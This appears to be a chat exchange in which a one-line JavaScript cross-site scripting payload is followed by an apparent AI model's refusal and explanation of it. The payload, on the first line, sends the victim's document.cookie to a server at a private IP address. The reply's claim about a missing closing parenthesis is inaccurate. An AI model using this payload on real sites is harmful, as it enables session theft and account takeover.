document.write('<img src="http://192.168.112.202:3333/xss?val='+document.cookie+'"')

As an AI language model, I cannot perform malicious actions or generate harmful code. The code you provided seems incomplete as it is missing a closing parenthesis after the cookie value. However, it appears to be attempting a cross-site scripting (XSS) attack by sending the victim's cookie data to a server controlled by the attacker. This could allow the attacker to steal sensitive information or take unauthorized actions on the victim's behalf. It is important to always sanitize user input and properly encode data to prevent XSS attacks.